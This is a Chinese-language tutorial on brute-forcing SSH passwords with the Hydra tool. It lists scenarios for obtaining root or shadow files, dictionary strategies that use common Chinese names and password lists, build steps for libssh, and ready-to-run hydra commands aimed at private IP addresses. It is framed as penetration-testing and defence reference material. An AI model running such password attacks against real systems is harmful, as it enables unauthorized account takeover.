Hydra
- 简介
hydra 是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录,除了命令行下的hydra外,还提供了hydragtk版本(有图形界面的hydra),
官网网站:http://www.thc.org/thc-hydra ,
目前最新版本为7.6下载地址:http://www.thc.org/releases/hydra-7.6.tar.gz ,它可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, uHTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP 等类型密码。
本文对目前流行的 SSH 密码暴力破解工具进行实战研究、分析和总结,对渗透攻击测试和安全防御具有一定的参考价值。
一、SSH密码暴力破解应用场景和思路
- 应用场景
(1)通过 Structs 等远程命令执行获取了 root 权限。
(2)通过 webshell 提权获取了 root 权限
(3)通过本地文件包含漏洞,可以读取 linux 本地所有文件。
(4)获取了网络入口权限,可以对内网计算机进行访问。
(5)外网开启了 SSH 端口(默认或者修改了端口),可以进行SSH访问。
在前面的这些场景中,可以获取 shadow 文件,对其进行暴力破解,以获取这些账号的密码,但在另外的一些场景中,无任何漏洞可用,这个时候就需要对 SSH 账号进行暴力破解。
- 思路
(1)对 root 账号进行暴力破解
(2)使用中国姓名 top1000 作为用户名进行暴力破解
(3)使用 top 10000 password 字典进行密码破解
(4)利用掌握信息进行社工信息整理并生成字典暴力破解
(5)信息的综合利用以及循环利用
二、使用 hydra 暴力破解 SSH 密码
hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大。在网络安全渗透过程中是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。
- 使用 hydra
BT5 和 kali 都默认安装了 hydra,在 kali 中单击“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可打开 hydra。在 centos 终端中输入命令 /usr/local/bin/hydra 即可打开该暴力破解工具,除此之外还可以通过 hydra-wizard.sh 命令进行向导式设置进行密码破解
如果不安装 libssh,运行 hydra 破解账号时会出现错误,显示错误提示信息:[ERROR] Compiled without LIBSSH v0.4.x support, module is not available! 在 centos 下依次运行以下命令即可解决:
yum install cmake
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON …
make
make install
cd /test/ssh/hydra-7.6 (此为下载hydar解压的目录)
make clean
./configure
make
make install
使用 hydra 进行密码破解
破解 SSH 账号有两种方式,一种是指定账号破解,一种是指定用户列表破解。详细命令如下:
(1)hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh
hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh ”将扫描结果保存在 save.log 文件中,打开该文件可以看到成功破解的结果
hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.52.200 ssh